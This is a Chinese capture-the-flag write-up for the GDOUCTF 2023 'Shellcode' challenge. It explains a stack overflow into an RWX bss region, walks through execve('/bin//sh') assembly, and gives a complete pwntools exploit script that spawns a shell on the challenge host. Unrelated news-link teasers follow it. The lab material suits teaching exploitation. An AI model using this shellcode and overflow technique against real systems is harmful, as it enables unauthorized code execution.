[GDOUCTF 2023]Shellcode的解法参考
这是一道shellcode的题先看看ida看到main函数里有两次read函数输入第一次输入到了name这个地方第二次输入到了栈里双击name发现name在bss段bss 段默认只可读写、不可执行因为上面的mpropect函数让bss段可执行具体原理ai是这么说的main 开头调用了 mprotect把它所在的内存页改成了 RWX程序先取 stdout 的地址0x601060也在 bss 段与 ~0xfff 做页对齐得到页基址 0x601000然后调用mprotect(0x601000, 0x1000, 7)。第三个参数 7 读(1) 写(2) 执行(4)长度 0x1000 正好一页。name 在0x6010A0落在这页0x6010000x601fff内所以 name 这块内存变成了可写又可执行的区域——我们的 shellcode就有地方放了。我们的思路就是第一次read函数输入shell的机器码放到name这个变量里第二次read函数先填充然后覆盖返回地址跳转到name执行我们写的机器码。首先写shell的机器码用到了pwntools带的asm工具我们需要在工具里写汇编shellcodeasm( mov rdi,0x68732f2f6e69622f xor rsi,rsi xor rdx,rdx mov rax,59 push rsi push rdi push rsp pop rdi syscall )汇编第一行的意思是rdibin//sh,右边这个0x的东西是bin//sh的ASCII码bin//sh的效果和bin/sh的效果是一样的因为Linux内核把双斜杠//当斜杠/处理这里是多写了一个/是用来凑8字节的不在最后多写一个0凑是因为写0机器码里就会有一个0x00如果是scanf函数就会会停止读取这题是read函数所以没影响第二三行就是把rsi和rdx设置成0第四行的意思是把rax设置成59对应execve函数的系统调用号然后把rsi压入栈也就是把0压入栈作为bin//sh的终止符然后把rdi里存的bin//sh的ASCII码压入栈此时栈顶是bin//sh的ASCII码再push rsp就是把栈顶地址也就是bin//sh的ASCII码的地址压入栈pop rdi就是弹出栈顶的存的值让rdi等于栈顶的值字符串地址这样操作rdi就等于bin//sh0的地址了最后再syscall一下这个shellcode的效果就是execve(bin/sh,0,0)了ru(Nice to meet you.\n) ru(Lets start!\n)然后接收一下两个输出准备写payloadpaddingba*0x12 name0x6010A0 payloadpaddingp64(name)先计算填充多少注意缓冲区是0x10再加上rbp的8padding0x18是错的因为双击buf发现read函数不是从栈底开始读的而是从-0xa开始读的所以填充0xa80x12之后覆盖返回地址跳转到name就可以执行我们之前写的shellcode了就成功了最后附上expfrom pwn import * s lambda data : io.send(data) sa lambda delim, data : io.sendafter(str(delim), data) sl lambda data : io.sendline(data) sla lambda delim, data : io.sendlineafter(str(delim), data) r lambda num : io.recv(num) ru lambda delims, dropTrue : io.recvuntil(delims, drop) itr lambda : io.interactive() uu32 lambda data : u32(data.ljust(4, b\x00)) uu64 lambda data : u64(data.ljust(8, b\x00)) context.log_level debug context.arch amd64 context.binary binary ./pwn context.terminal [tmux, splitw, -h] gdbscript def start(argv[], *a, **kw): if args.GDB: proc process([binary] argv, *a, **kw) gdb.attach(proc, gdbscriptgdbscript) return proc elif args.REMOTE: return remote(node4.anna.nssctf.cn,26260) else: return process([binary] argv, *a, **kw) elf ELF(binary) libc ELF(./libc.so.6) rop ROP(elf) io start() paddingba*0x12 name0x6010A0 shellcodeasm( mov rdi,0x68732f2f6e69622f xor rsi,rsi xor rdx,rdx mov rax,59 push rsi push rdi push rsp pop rdi syscall ) s(shellcode) ru(Nice to meet you.\n) ru(Lets start!\n) payloadpaddingp64(name) s(payload) itr()

相关新闻

实习生day3

实习生day3

1防护站点、站点配置、防护策略、自定义规则、白名单、频率限制之间的区别防护站点:需要接入WAF的网站域名。被保护的对象站点配置 开放端口 转发到业务服务器。流量怎么接入到,怎么传到服务器的。防护策略 规则的集合,可以复用到多个站点…

2026/8/15 15:25:41 阅读更多 →
保姆级教程:零基础在 Windows 上免模拟器运行 Android 应用

保姆级教程:零基础在 Windows 上免模拟器运行 Android 应用

保姆级教程:零基础在 Windows 上免模拟器运行 Android 应用 【免费下载链接】APK-Installer An Android Application Installer for Windows 项目地址: https://gitcode.com/GitHub_Trending/ap/APK-Installer 晚上十一点,客户突然发来一个 APK 安…

2026/8/15 16:49:30 阅读更多 →
电子元器件+模拟电路硬件零基础入门

电子元器件+模拟电路硬件零基础入门

1.前序知识1.原子2.质子(Proton)3.中⼦(Neutron)4.电⼦(Electron)5.『⽯墨』与『⾦刚⽯』2.电流3. 电场、电势、电势能4. 电压5. 电阻6. 电路 7.欧姆定律8.直流电VS交流电9.弱电与强电10. 家庭电路&#xf…

2026/8/15 23:03:43 阅读更多 →

最新新闻

在西门子 IoT2050 上创建 Python venv 完整指南

在西门子 IoT2050 上创建 Python venv 完整指南

一、为什么在 IoT2050 上必须用 venv? IoT2050 的示例镜像基于 Debian Linux。从 Debian 12(Python 3.11+) 开始,系统 Python 被视为关键系统组件: 如果 pip 随意写入 /usr/lib/python3.x,可能破坏 apt、系统工具和升级路径 因此 Debian 直接禁止 pip install xxx / pi…

2026/8/16 23:55:06 阅读更多 →
Word文档修订痕迹高效处理与完整保留的3种专业方案

Word文档修订痕迹高效处理与完整保留的3种专业方案

1. 项目概述:为什么“一键接受修订”是个伪需求?在文档协作和审阅的日常里,我们经常遇到一个看似简单、实则暗藏玄机的需求:如何快速处理一份满是修订痕迹的Word文档?很多朋友,尤其是经常需要汇总多方意见的…

2026/8/16 23:55:06 阅读更多 →
Windows系统重置与重装:核心区别、操作指南与数据备份全攻略

Windows系统重置与重装:核心区别、操作指南与数据备份全攻略

1. 项目概述:为什么我们需要重置或重装Windows? 电脑用久了,难免会变得卡顿、报错,或者被一些“全家桶”软件搞得乌烟瘴气。这时候,很多朋友的第一反应就是:“得重装系统了”。重置和重装Windows&#xff0…

2026/8/16 23:55:06 阅读更多 →
FTP服务器搭建实战:从FileZilla到vsftpd的完整部署与安全配置指南

FTP服务器搭建实战:从FileZilla到vsftpd的完整部署与安全配置指南

1. 项目概述:为什么今天还需要自己动手搭建FTP服务器? 在云存储和对象存储服务满天飞的今天,提到要自己搭建一个FTP服务器,很多人的第一反应可能是:“这都什么年代了,还用FTP?” 确实&#xff0…

2026/8/16 23:55:06 阅读更多 →
很多人做公众号优化,第一步就偏了

很多人做公众号优化,第一步就偏了

身边有很多做公众号的朋友,一提到优化就问:"是不是要学排版?要不要学涨粉?"其实不用。公众号日常的优化工作,会看后台数据加一个竞品分析就够了。这两件事能解决日常80%的运营问题,剩下的20%可以…

2026/8/16 23:54:06 阅读更多 →
从零打造高效Bash环境:PS1定制、别名优化与跨平台配置实战

从零打造高效Bash环境:PS1定制、别名优化与跨平台配置实战

1. 从“黑窗口”到效率引擎:为什么你需要个性化Bash 每次打开终端,面对那个千篇一律的 userhostname:~$ 提示符,你是不是偶尔会觉得有点乏味?或者,当你在多个服务器、不同项目目录间频繁切换时,是不是总得…

2026/8/16 23:53:05 阅读更多 →

日新闻

基于阿里云与通义千问(Qwen)构建AI应用:从模型调用到生产部署的完整实践指南

基于阿里云与通义千问(Qwen)构建AI应用:从模型调用到生产部署的完整实践指南

如果你是一名开发者,最近可能已经感受到了AI大模型正在从“玩具”变成“生产力工具”的强烈信号。从代码补全到智能Agent,从本地部署到云端API,我们正处在一个技术栈快速重构的节点。然而,面对层出不穷的模型、框架和工具&#xf…

2026/8/16 0:00:54 阅读更多 →
工业通信系统底层逻辑:04 反射——高频能量撞墙之后会发生什么?

工业通信系统底层逻辑:04 反射——高频能量撞墙之后会发生什么?

第四篇:反射——高频能量撞墙之后会发生什么? —— 你以为信号已经过去了,其实它正在回来打你 老Q的现场笔记 第五季,我们正式进入工业神经系统层。这里不再是单个设备的战斗,而是整个工厂“经脉”层面的秩序之战。从这一篇开始,你将第一次看清:看似简单的信号传播,背…

2026/8/16 0:00:55 阅读更多 →
【文章复现】非线性值迭代自适应动态规划(ADP):离散时间非线性系统的策略迭代自适应动态规划算法研究附Matlab代码

【文章复现】非线性值迭代自适应动态规划(ADP):离散时间非线性系统的策略迭代自适应动态规划算法研究附Matlab代码

✅作者简介:热爱科研的Matlab仿真开发者,擅长毕业设计辅导、数学建模、数据处理、建模仿真、程序设计、完整代码获取、论文复现及科研仿真。🍎 往期回顾关注个人主页:Matlab科研工作室👇 关注我领取海量matlab电子书和…

2026/8/16 0:03:55 阅读更多 →

周新闻

基于阿里云与通义千问(Qwen)构建AI应用:从模型调用到生产部署的完整实践指南

基于阿里云与通义千问(Qwen)构建AI应用:从模型调用到生产部署的完整实践指南

如果你是一名开发者,最近可能已经感受到了AI大模型正在从“玩具”变成“生产力工具”的强烈信号。从代码补全到智能Agent,从本地部署到云端API,我们正处在一个技术栈快速重构的节点。然而,面对层出不穷的模型、框架和工具&#xf…

2026/8/16 0:00:54 阅读更多 →
工业通信系统底层逻辑:04 反射——高频能量撞墙之后会发生什么?

工业通信系统底层逻辑:04 反射——高频能量撞墙之后会发生什么?

第四篇:反射——高频能量撞墙之后会发生什么? —— 你以为信号已经过去了,其实它正在回来打你 老Q的现场笔记 第五季,我们正式进入工业神经系统层。这里不再是单个设备的战斗,而是整个工厂“经脉”层面的秩序之战。从这一篇开始,你将第一次看清:看似简单的信号传播,背…

2026/8/16 0:00:55 阅读更多 →
【文章复现】非线性值迭代自适应动态规划(ADP):离散时间非线性系统的策略迭代自适应动态规划算法研究附Matlab代码

【文章复现】非线性值迭代自适应动态规划(ADP):离散时间非线性系统的策略迭代自适应动态规划算法研究附Matlab代码

✅作者简介:热爱科研的Matlab仿真开发者,擅长毕业设计辅导、数学建模、数据处理、建模仿真、程序设计、完整代码获取、论文复现及科研仿真。🍎 往期回顾关注个人主页:Matlab科研工作室👇 关注我领取海量matlab电子书和…

2026/8/16 0:03:55 阅读更多 →

月新闻

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南 【免费下载链接】BaiduNetdiskPlugin-macOS For macOS.百度网盘 破解SVIP、下载速度限制~ 项目地址: https://gitcode.com/gh_mirrors/ba/BaiduNetdiskPlugin-macOS 还在为百度网盘macOS版的龟速下…

2026/8/16 6:00:23 阅读更多 →
终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换

终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换

终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换 【免费下载链接】ncmdump 项目地址: https://gitcode.com/gh_mirrors/ncmd/ncmdump 还在为网易云音乐下载的NCM格式文件无法在其他播放器播放而烦恼吗?ncmdump解密工具帮你轻松解决这个困…

2026/8/16 6:00:24 阅读更多 →
HarmonyOS 应用开发《掌上英语》第81篇: 智能体卡片:为英语学习 App 打造桌面级学习助手

HarmonyOS 应用开发《掌上英语》第81篇: 智能体卡片:为英语学习 App 打造桌面级学习助手

AgentCard 智能体卡片:为英语学习 App 打造桌面级学习助手适用平台:HarmonyOS 7.0 (API 26 Beta)一、引言 HarmonyOS 7.0(API 26 Beta)新增了 AgentCard 智能体卡片能力,这是继 HMAF(鸿蒙智能体框架&#x…

2026/8/16 6:00:27 阅读更多 →